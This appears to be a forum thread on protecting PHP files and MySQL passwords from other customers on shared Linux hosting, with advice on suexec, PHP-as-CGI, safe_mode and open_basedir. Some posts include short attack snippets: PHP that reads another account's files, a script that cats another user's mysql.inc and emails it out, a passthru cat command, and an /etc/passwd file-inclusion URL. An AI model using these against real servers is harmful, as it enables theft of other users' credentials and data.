Hello,

I just joined, excellent forums!

Background info: up until now I have been developing sites on Windows/IIS platforms, and I'm currently considering using vBulletin on Linux. Therefore I'm gathering information on Linux hosting and I've come across an issue I would like to ask you a question about.

From what I understand so far, it is not/hardly possible to protect your PHP (or other) sources against being viewed by other people (clients) with access to the same shared Linux server, since the files have to be readable for the webserver to use them. This means people on the same server will be able to get my MySQL passwords for example?

Is this true? Is the only option to protect my source code getting a dedicated server? I don't have the funds for that, so I'm hoping you can shed some light on this issue, as to how to solve this in another way.

Thanks for your time! Cheers, Rene.

you can use zend encoder to encode them.

Thanks.

However, what if the host doesn't support this? Any other ways of protecting the source code against other clients on the same server?

As long as they have Zend Optimizer installed, it will read Zend Encoded files. Many hosts have Zend Optimizer installed, but the cost of Zend Encoder makes the user rather limited......

It's not the most perfect solution, but find a host that runs their webserver suexec. Then you don't have to open your permissions quite as wide open and people "may" not be able to get at your source.

Frank

Doesn't Perl have a free encoding library that some large commercial software (like EMUMAIL uses)?

Most shared server installations do nothing special to help you protect your scripts or config file information, so for now you have few choices.

One thing you can do is to run your PHP scripts as CGI programs, and run them from your scgi-bin directory if you have one. This will run the script using suexec from Apache, and now you can protect the script and it's data files with file protections. The scripts will run as your account name.

To do this you'll need to make sure you own the script file, because it's going to be run as you. You need to set the first line in the script to be #! /path/to/php and make sure the script is set to be executable. It should have no other access other than for owner.

If your PHP application is a heavy hitter, this will run slower as it's not able to take advantage of Apache's MOD_PHP integration. If your application has many script files, editing them can be a pain...

With Apache 2.0, we'll get something called perchild support which will allow your virtualhost configuration of Apache to run as you. I've been told this does not work in the current public beta, but I've not tested it. Your hosting company would have to support this as well of course. Once built into Apache, it requires a special virtualhost directive.

I've written a couple of scripts (one in PHP and one in Perl) that exploit this security hole and discover database username and password pairs. I've run them on two servers in an attempt to understand the risk and to help the hosting companies understand a problem that many of them simply ignore. The problem is rampant, and I suspect exists in the bulk of all shared hosting environments. On one of my client's servers, I pulled out 50 username/password pairs for mySQL database access. Once I had this info, I could cruise their databases from a telnet prompt if I wanted to.

Don't do this from a hosting account without working with the host however, as hacking activities like this can get you removed from a server.

I'm going to expose this hole in an article - maybe for Devshed - in the hopes that the hosting community gets upset enough to plug the holes as best they can. It's not easy today to do so for Perl or compiled cgi programs, but you can plug the hole with a PHP configuration option and virtualhost directory. No one seems to do this either though - either through ignorance, apathy, or both.

-t

I'd like to know how you would go about viewing someone else's PHP source unless you have read access to their document directory.

PHP won't normally display the source to web visitors unless you tell apache to use the application/x-httpd-php-source mime type.

I'd hope that web visitors would not have access to your php document directory.

Originally posted by bitserve
I'd like to know how you would go about viewing someone else's PHP source unless you have read access to their document directory.

PHP won't normally display the source to web visitors unless you tell apache to use the application/x-httpd-php-source mime type.

I'd hope that web visitors would not have access to your php document directory.

Well, you want Apache to be able to read your php files, right?
So, when you run mod_php -not the CGI-, you need these files to be readable at least by the group 'apache'.
Thus, anyone who write a PHP sniffer can read any PHP file on the host's computer, I guess that's what he means.

$fd = fopen("/home/some_other_user_on_my_webserver/public_html/secret.php");
$the_secret_file = fread($fd,100000);
fclose($fd);
echo $the_secret_file;


Just save that as a .php file in your account and run it. Of course, change the top line to the file you're wanting to read. ;)

And don't forget about opendir(). People can get directory listings they can use to sabotage your server, deleting and wiping Apache logs (httpd won't even start unless the specified logs dir exits), bringing down an entire system quickly.

This has been quite an issue for me on various hosts.

It has been discussed on the PHP mailing list. Archive at http://marc.theaimsgroup.com/?l=php-general I thought I read someone there once suggesting some clever file and directory permissions but a quick search now and I can't find it. It may be worth you doing some searches on likely words.

I have used www.bigbiz.com for hosting in the past. They make a point in their blurb about their Apache with PHP module running with user permissions. I think they do it by each user having their own Apache httpd process.

At he.net I setup suexec and ran PHP as a cgi. It worked but is nowhere near as efficient as the Apache module of course.

Now I have a vitual server account on a FreeBSD host which makes it look like I'm the only one using the machine so for some extra cost the problem has disappeared.

bombino, I had to add the mode to the fopen command, but it worked. Hmm... I'll have to fix that. How come I didn't know about that? :)

shellbounder, are you serious? You must not have your permissions set correctly on the logs and log directories.

If you're worried about people viewing directory listings, you should change the permissions on those directories.

Anyway, I'm going to research this php thing and hopefully find a solution.

Originally posted by bombino
$fd = fopen("/home/some_other_user_on_my_webserver/public_html/secret.php");
$the_secret_file = fread($fd,100000);
fclose($fd);
echo $the_secret_file;


Just save that as a .php file in your account and run it. Of course, change the top line to the file you're wanting to read. ;)

I may misuderstand this, but public_html has a permission set such that others can read the files.

form my shell, I can type

'pico /home/other_account/public_html/somefile'

doesn't it do the same thing as above code?

cheers,
:beer:

http://www.php.net/manual/en/features.safe-mode.php

is the solution.

However it kills file uploads as well which might be necessery for some people.

This problem is not very well known, I could say for example on one web hosts site I visited they had url:s of the type:

showpage.php?page=faq.php

Appearently they just included the file so I tried with manually entering
showpage.php?page=/etc/passwd

And got the listing of all accounts on the server...

Scary.

Actually, I think setting open_basedir is proabably as effective as safe_mode for PHP, without the ugly upload side effects.

Unfortunately, all you need to do is write your server scanner in Perl or C and you are back in business.

I love the note on that PHP manual page you linked to, stating that solving this in PHP is not a good solution, but since the server is insecure, it's better than nothing!

Apache 2.0 and the perchild MPM will put this behind us, but that could easily be more than a year away.

-t

ps The FreeVSD stuff looks very in interesting, but it's not offered by many providers yet, and those who do get much more for accounts running it than on a standard shared server environment.

Originally posted by bitserve
I'd like to know how you would go about viewing someone else's PHP source unless you have read access to their document directory.

PHP won't normally display the source to web visitors unless you tell apache to use the application/x-httpd-php-source mime type.

I'd hope that web visitors would not have access to your php document directory.
It's been answered already, and the answers are correct.

It's a trivial script that you run from your web space on the shared server as the accounts you are interested in breaking into. It asks you for the /home directory on your server, and then simply walks forward through every directory on the server reading .php .php3 .inc and .pl files, looking for interesting keywords. You could look through any files - though binary files and HTML files are not typically interesting.

Both PHP and Perl have simple tools for getting the directory listings and reading the associated files.

Since the web server account needs to be able to read your PHP scripts and config files in order to execute or include them, I can read them from my webspace as easily as you can read them from yours. The web server process doesn't know that the "user" is not the correct user.

If you know the name of the config file because it's a "standard" product release or an open source application, you can simply include that file from your own PHP script and use the variables in that file to access a mySQL database for instance.

In a test account, I've used an open source PHP forum system from another account on the shared server by simply modifying the included config file in my directory to then include the file in the directory in another account - using the forum database for domain-one from domain-two... Both were my domains in this case, however with less scruples I could have easily accessed more data on the server that was not my own.

These environments are not safe at all by default. I no longer store anything interesting in an unencrypted manner anywhere on my servers if it can be avoided. People can still get into my databases and drop all my tables if they uncover my config file data however. I back up every day so the loss would be annoying but not critical. I've obfuscated these files as best I can in an unsafe environment, but that only stops the casual hacker.

-t

i havent read most of this thread
but if you set proper permissions, you can make it so nobody can go snooping through other people's php code.

thewit, reading other peoples files won't work on our servers with any type of cgi (which the perl, c, or java program would be) because we use suexec. It's these modular things like PHP that don't run as cgi and run as the same user as the web server that cause a problem.

Of course their cgi stuff can read any file or directory that the user normally has permission to read. But then they can do that with the shell access that we sometimes provide. I just hope that the user isn't making the stuff that they have access to available
to the world because of stupid things like that showpage.php

I'm looking at running PHP in safe mode which seems the easiest, but will investigate the open_basedir option. Looks like either way I'll need to either set an open_basedir for each user, or a temp directory in PHP for each user (to allow uploads).

Originally posted by node9
i havent read most of this thread
but if you set proper permissions, you can make it so nobody can go snooping through other people's php code.
You should probably read the thread.

-t

PHP safe mode is okay for what it is designed to prevent but most hosts allow telnet. My concern has been other users on the same machince simply telnetting in and cd to my directory. I think you can set your directory permissons not to be world executable which I think means someone can't do an ls command but they can still get the files if they know the names. index.php would be a good guess to start with.

Cheers
Ross

Originally posted by bitserve
thewit, reading other peoples files won't work on our servers with any type of cgi (which the perl, c, or java program would be) because we use suexec. It's these modular things like PHP that don't run as cgi and run as the same user as the web server that cause a problem.

Of course their cgi stuff can read any file or directory that the user normally has permission to read. But then they can do that with the shell access that we sometimes provide. I just hope that the user isn't making the stuff that they have access to available
to the world because of stupid things like that showpage.php

I'm looking at running PHP in safe mode which seems the easiest, but will investigate the open_basedir option. Looks like either way I'll need to either set an open_basedir for each user, or a temp directory in PHP for each user (to allow uploads).
Do you mean you don't allow any scripts to run outside the scgi-bin (or wherever you point suexec) directory tree? This would work. If I can run a script from somewhere else however, it will not run as me, it will run as the Apache user - I'm sure you know this.

As for the open_basedir option of PHP, yes you would need to include a directive in each virtualhost.

So do you get grief today from your customers who want to use PHP because they have to modify all their scripts to include the #! /path/to/php line?

-t

Originally posted by thewitt

You should probably read the thread.

-t

dont have time =]

Thewitt, if the web server executes a program for the user, it uses suexec to run that program as the user (NOT AS THE USER THE WEBSERVER RUNS AS). It doesn't matter WHAT directory the program is in.

If the user executes a program from the shell, it executes it as the user too (NOT AS THE USER THE WEBSERVER RUNS AS).

Tetra, telnet access should not be allowed if the permissions are set up so that other users can access each other's home/document directories. The way we set up permissions does not allow this.

Originally posted by bitserve
Thewitt, if the web server executes a program for the user, it uses suexec to run that program as the user (NOT AS THE USER THE WEBSERVER RUNS AS). It doesn't matter WHAT directory the program is in.

If the user executes a program from the shell, it executes it as the user too (NOT AS THE USER THE WEBSERVER RUNS AS).

Tetra, telnet access should not be allowed if the permissions are set up so that other users can access each other's home/document directories. The way we set up permissions does not allow this.
I had a brain cramp. I was confusing suexec with cgiwrap, which is installed on many CPANEL hosts as a way to run scripts as the user. Most CPANEL hosts don't use suexec as it breaks the method that CPANEL uses to offer additional scripts to the end user.

-t

Okay, here's what I did to secure my server for this problem, both the php and the cgi type of problem :)

I turned on safe_mode in php. Please not that files can still be uploaded this way, but you'll have to use move_uploaded_file instead of move_file to move the file to the correct directory.
safe_mode means that a .php script owned by user a can never ever access a file owned by user b.

Second, I run suexec, so that any cgi script has the same permissions as the real user would normally have using telnet or ssh.

Third, I'm running FreeBSD, so by default every user has its own group. I have added the 'apache' user to the group of every user, so that you can make homedir permissions like 750, which lets apache access and read the homedir, but keeps other users out.
Furthermore, file permissions should be set to 750 if they're cgi scripts or 640 if they're plain files.

This way your box should be secure :D

I have a similar security concept like TEO.

Now I'm looking into open_dir and document_root config options from PHP but I'm not sure how they will affect the scripts.
Does somebody use these to secure the virtual hosting environment and can give me some tips?

But perl and other programming languages doesn't provide these features so the result will be the same.

- dom

Originally posted by Voodoo Web
...
But perl and other programming languages doesn't provide these features so the result will be the same.

- dom

When perl scripts are used for cgi scripts, suexec takes care of this. The scripts run with the permissions of the user, so a script cannot access other users' files, as long as the file permissions are set correctly.

Thanks everyone!

I'm happy to see so many of you here willing to help and give advice to a *nix newbie like myself. I'm kinda surprised a lot of webhosts simply don't have a 'save' setup, because they don't seem to care about it.

However, there seem to be several things to do to protect my PHP sources as I gather from some of your suggestions. I'll digest all the info here and get to work. Cheers!

Setting the open_basedir option might work to a certain extent. But would it not be possible to code a simple Perl script that scans other users' directories and reads their PHP files. Then write a PHP script script that executes the perl script, and call the PHP scripts via its URL. Presuming you are using mod_php would it not execute the perl script under the user of the webserver (usually nobody)???

Originally posted by thewitt
Most shared server installations do nothing special to help you protect your scripts or config file information, so for now you have few choices.

One thing you can do is to run your PHP scripts as CGI programs, and run them from your scgi-bin directory if you have one. This will run the script using suexec from Apache, and now you can protect the script and it's data files with file protections. The scripts will run as your account name.

To do this you'll need to make sure you own the script file, because it's going to be run as you. You need to set the first line in the script to be #! /path/to/php and make sure the script is set to be executable. It should have no other access other than for owner.

If your PHP application is a heavy hitter, this will run slower as it's not able to take advantage of Apache's MOD_PHP integration. If your application has many script files, editing them can be a pain...

With Apache 2.0, we'll get something called perchild support which will allow your virtualhost configuration of Apache to run as you. I've been told this does not work in the current public beta, but I've not tested it. Your hosting company would have to support this as well of course. Once built into Apache, it requires a special virtualhost directive.

I've written a couple of scripts (one in PHP and one in Perl) that exploit this security hole and discover database username and password pairs. I've run them on two servers in an attempt to understand the risk and to help the hosting companies understand a problem that many of them simply ignore. The problem is rampant, and I suspect exists in the bulk of all shared hosting environments. On one of my client's servers, I pulled out 50 username/password pairs for mySQL database access. Once I had this info, I could cruise their databases from a telnet prompt if I wanted to.

Don't do this from a hosting account without working with the host however, as hacking activities like this can get you removed from a server.

I'm going to expose this hole in an article - maybe for Devshed - in the hopes that the hosting community gets upset enough to plug the holes as best they can. It's not easy today to do so for Perl or compiled cgi programs, but you can plug the hole with a PHP configuration option and virtualhost directory. No one seems to do this either though - either through ignorance, apathy, or both.

-t

Hi, I have been considering some web based signup/accounting/billing apps for my fledgling hosting business. Just when I thought I had my ducks in a row I have found out that apps like Modernbill and phpmanager that use mysql are very insecure in a shared hosting environment. As per this thread http://www.venturesonline.com/forums/showthread.php?threadid=2351 Would you care to comment on possible solutions aside from moving to a dedicated server for someone who wants to use an app like Modernbill to manage their hosting accounts?

This thing has been discussed to death before in many forums. Here is my solution to this problem:

- configure Apache with suexec
- compile PHP as CGI, not as Apache module
- use binfmt_misc, so that *.php *.php3 *.php4 files can be executed directly without specifying the interpreter (#!/usr/bin/php)
- chgrp apache_groupid "homedir of every user"
- chmod 750 "homedir of every user"

As an added bonus, every user now can have their own php.ini without needing to have their own Apache process. To do this, use mod_headers or mod_rewrite to set environment variable PHPRC to users' php.ini location. And you need to patch suexec to let variable PHPRC to go through.

PHP, however, is only one way to peek into other people files. There are other things to be aware of. Like Frontpage extension, or symlink attack.

Priyadi: I believe MikeF was enquiring about security in a "Shared Environment", not on a dedicated.

Please share with us your insight into this :)

Originally posted by node9
i havent read most of this thread
but if you set proper permissions, you can make it so nobody can go snooping through other people's php code.

He's right. :) The user called "nobody" can indeed go snooping through other peoples' PHP code. LOL!

Originally posted by Locutus
Priyadi: I believe MikeF was enquiring about security in a "Shared Environment", not on a dedicated.

Please share with us your insight into this :)

Yes, that's exactly what I was refering to :) What makes you think I was refering to dedicated?

Originally posted by node9


dont have time =]

Then don't respond. I thought that was common sense.

Also, your first response was wrong, you can't fix it with permissions.

Don't be a :homer:

-davidu

I posted a lot about this a while ago, but I don't know where the post is here. I mentioned the issues about running SuEXEC, setting the user and group to username.apachegroup and setting the permissions to 750, but that this also didn't help with the PHP issue when it's (PHP) ran as an Apache module. After all, what is the point to PHP if you can't run it as a module and run it as CGI instead? People suggested some of the points in this thread of making it "Safer", but that just didn't prevent much and you can still use symbolic links from your base_dir of your account to elsewhere. Further, SSI is still an issue if it's not executing a CGI script of yours. Therefore, while CGI is CGI and is fine to run with SuEXEC, PHP sucks to run as CGI. If you do, your problems are solved do to simply implementing some simple and obvious permissions and ownership. However, as I mentioned in the previous thread many months ago, and as someone mentioned in this thread, your choices to be safe from user's viewing other user's files (or worse), is to either run PHP as CGI as well and set the permissions on CGI scripts to 700 (or something) or waiting for Apache 2.x to be released and stable to where all the httpd processes that user has launched, are owned by that user -- be it CGI or PHP or just httpd itself. And, for those that are wondering, this also protects file viewing, etc. via shell access as well, since it denies any user other than the actual account owner from doing anything or being able to go even into or anywhere past the user's home directory to view or see or do anything. However, this means you either wait for Apache to change, suffer and use PHP in a way that completely takes the point of PHP ever being introduced anyway by running it as CGI, have every user have their own instance of an Apache server, or having the issues remain.

I have seriously considered on writing a wrapper for PHP, so you can run it as an Apache module via mod_php as it should be ran, while allowing user's to set the permissions to only allow their user to view or run the file, just as SuEXEC does for CGI. I decided not to a while ago when I found that Apache 2.x will solve all these problems, but I also thought, at the time, that they were a lot closer to having this as a reality. I agree it will surely be another year or more, before Apache 2.x is stable enough, and implements such a feature. I can't wait though! So, it looks like when I get time, I'll investigate this a bit more, because this will not only make it better to be able to run PHP more securely as an Apache module for better performance, but it'll also make it better for equally and more powerful options over PHP anyway, such as FastCGI and mod_perl to run more securely as an Apache module, whereas now, they are just as insecure as PHP is in that regard. However, on a final note, this issue is hardly unknown, many, many people are aware of it, and this is absolutely nothing new. Further, consider some other issues about this. PHP running as CGI is undesirable, but looking at 99.99% of all the PHP scripts I've seen, they aren't really taking much advantage and performing much (or any) better running as mod_php, than they would as CGI anyway, with all the overhead they are causing anyway, and all the MySQL DB calls people are going overboard with, it could actually be better performing to run it as CGI -- plus the final advantage is, with them running as CGI with SuEXEC, you also get the plus side of being able to limit the individual user's resources they consume. So, whereas a PHP script can crash a server (unless you set global limits, which can really cause a huge mess on a shared server), and CGI can not (due to SuEXEC and resource limits), you can now be safe knowing you have more control.

To be honest, I've never been much of a fan of PHP anyway (this is only one of a few reasons), I never saw the point of using it. With more powerful and more flexible languages like C and Perl (no I'm not starting a flame war, it's just the facts.. I'm sure PHP will continue to develop to eventually be in the same league as Perl), both of which can also be ran as an Apache module just as mod_php does (with mod_perl or fastCGI -- you can, in fact, write your own Apache modules in Perl or C to replace PHP (or replace mod_perl or fastCGI), if you know what you're doing), you can't get it any faster, or anymore powerful than those (C and Perl). Don't get me wrong, PHP is cool, but I just think it's more trouble than it's worth, personally. I've heard people say it's better for the web, but that's ridiculous, it's just "easier" for people that don't know how to program in lower level languages and don't understand permissions, ASCII transfer mode, and how to use proper headers (Perl does everything PHP does, just as well). However, that's not my reason and it's my opinion (even if it's a fact that PHP is in no way any better), but it's (PHP) the big "buzz" right now, and until another couple of years go by and there's another new language that makes it easier for beginners out, PHP will have to be offered and dealt with. Just some things to consider, because security is important, as we all agree. Therefore, it looks like for the best results, waiting for Apache 2.x and it's cool features, or writing a wrapper, or settling for PHP as CGI for the time being, if you can get away with it, or being open to these sort-of trivial, but real security issues for the server, and definitely a concern for the users.

Sorry to bump an old thread but I was wondering if there has been any improvements to this, and if the apache2 solution has been implemented yet. All I could gather from apache.org says that this is still experimental (but working on some OS's)... I was just wondering if a wrapper is available or anything new on this topic.

Edit: nevermind.

Just going back to the question starting this thread, use Zend, or for a cheaper more flexible solution, but just as secure, use ionCube encoder. (www.ioncube.com/encoder) If you only have a few scripts to protect, use the online service (would cost you as little as $1). Apart from price, if your provider doesn't use safe mode (and many don't for some reason), but won't install the loader, then you can still execute your scripts because the loader can be installed on demand by the encoded scripts. php.ini doesn't need to be edited or the web server restarted. An important feature not found with the Zend product.

Bottom line, and particularly with affordable alternatives to Zend and using the same protection technology, use something to encode your scripts if security is important to you. Don't accept an insecure system.

Good luck!

Originally posted by phpa
Just going back to the question starting this thread, use Zend, or for a cheaper more flexible solution, but just as secure, use ionCube encoder. (www.ioncube.com/encoder) If you only have a few scripts to protect, use the online service (would cost you as little as $1). Apart from price, if your provider doesn't use safe mode (and many don't for some reason), but won't install the loader, then you can still execute your scripts because the loader can be installed on demand by the encoded scripts. php.ini doesn't need to be edited or the web server restarted. An important feature not found with the Zend product.

Bottom line, and particularly with affordable alternatives to Zend and using the same protection technology, use something to encode your scripts if security is important to you. Don't accept an insecure system.

Good luck!

Just encoding PHP scripts is not adequate. It is still possible for a malicious user to consume all resources available to the web server. Not to mention it is still possible to read other users' sensitive data (perl scripts, .htpasswd files, PGP/GPG private keys) using PHP.

priyadi posted the best solution (php-cgi, suexec/sbox, binfmt_misc) for PHP in a shared environment.

As for the performance of PHP as CGI, we found it to be absolutely comparable as long as you only enable the extensions you need. We specialize in PHP hosting, and hence support LOTS of extensions (phpinfo.modwest.com). Enable them all and CGI mode is slow, enable only the ones you actually use (in each customer's private php.ini, for which we built a control panel interface), and it's just as fast as module mode.

We decided back when this thread came up to use open_basedir with PHP instead of running it in either safe mode or as CGI.

Quite happy with the performance and "security".

Originally posted by bitserve
We decided back when this thread came up to use open_basedir with PHP instead of running it in either safe mode or as CGI.

Quite happy with the performance and "security".

open_basedir alone does not restrict execution of arbitrary programs under apache uid. You still need safe mode for that.

.

Not even with

<?php

$yummyinfo = `/bin/cat /path/to/other/guys/files/mysql.inc`;

mail("me@mydomain.com",
"got it!",
$yummyinfo);

?>

?

.

Really? Isn't my page running as httpd? And if httpd can't read the file, what use is it to the file's owner?

magnafix, you are correct! I have removed my posts because no one should use the method I explained :D

The second last comment on http://www.php.net/manual/en/security.apache.php mentions a way of protecting other people's files by adding

php_admin_value open_basedir \ "/www-home/example.com/:/usr/lib/php/"

to the VirtualHost-Directive in the httpd.conf.

Does anyone have experience with this and can tell if this setting is sufficient?

Originally posted by Icheb

php_admin_value open_basedir \ "/www-home/example.com/:/usr/lib/php/"

Does anyone have experience with this and can tell if this setting is sufficient?

It has the same effect as open_basedir in php.ini. So it is not sufficient, you still need safe mode, otherwise your users will still be able to execute any arbitrary command under apache user id.

But wouldn't that setting prevent them from using fread to open files not in their assigned directory tree?

Originally posted by Icheb
But wouldn't that setting prevent them from using fread to open files not in their assigned directory tree?

But there are other ways of doing that without using fread. For example:

<? passthru("cat /other/user/file") ?>

But Using Zend to Encode stuff Makes it unfindable by Search Engines?

Originally posted by hKey_LM_32
But Using Zend to Encode stuff Makes it unfindable by Search Engines?

That has nothing to do with what we are talking about and even if it did, it would still be wrong.

-davidu

Originally posted by node9
i havent read most of this thread
but if you set proper permissions, you can make it so nobody can go snooping through other people's php code.

What are this permissions?

Originally posted by John1973


What are this permissions?

That was an old post from someone who was misinformed.

-davidu

Originally posted by DavidU


That was an old post from someone who was misinformed.

-davidu

It would be good, if there were simple sollution for this problem...

Originally posted by John1973


It would be good, if there were simple sollution for this problem...

The word on the street is that Apache2 was supposed to solve this issue some way but I am doubtfull of it. You could always run php as a CGI w/ suexec but of course, that's dumb.

You could also run user mode linux and give everyone their own virtual server.

It really isn't a problem in my mind, but then again, I'm not a webhost.

-davidu

Apache 2 is supposed to be able to specify uid and gid of apache processes per virtualhost container. So that will help.

We run PHP as a chrooted, sbox'd CGI and it works great. It's as fast as module mode as long as you just enable the extensions you need. Every customer has their own php.ini to configure as desired (we built a web interface to tweak it too). File uploads work as per the documentation (no safe mode weirdness), and no user can fopen() or include() anyone else's files. We found the solution, but it took months of R&D to make it work perfectly.

Originally posted by magnafix
Apache 2 is supposed to be able to specify uid and gid of apache processes per virtualhost container. So that will help.


Have you tried apache 2? I've been on http://apache.org and they recomend everybody to use apache 2.


We run PHP as a chrooted, sbox'd CGI and it works great. It's as fast as module mode as long as you just enable the extensions you need. Every customer has their own php.ini to configure as desired (we built a web interface to tweak it too). File uploads work as per the documentation (no safe mode weirdness), and no user can fopen() or include() anyone else's files. We found the solution, but it took months of R&D to make it work perfectly.
So you have the sollution? Why don't sell it to other hosts? ;)

Have you tried apache 2?

We're installing Apache 2 on managed servers now, but it'll be a little while before we upgrade the shared system. Part of our setup includes a homegrown Apache module that'll need to be rewritten for Apache 2.


So you have the solution? Why don't sell it to other hosts?

We may at some point. Another cool feature of this setup is that shell accounts are chrooted() such that when a customer does a 'ls /', that's their homedir. And that's the exact same perspective they have if they were to use PHP (via system() , exec(), etc) to do a 'ls /'.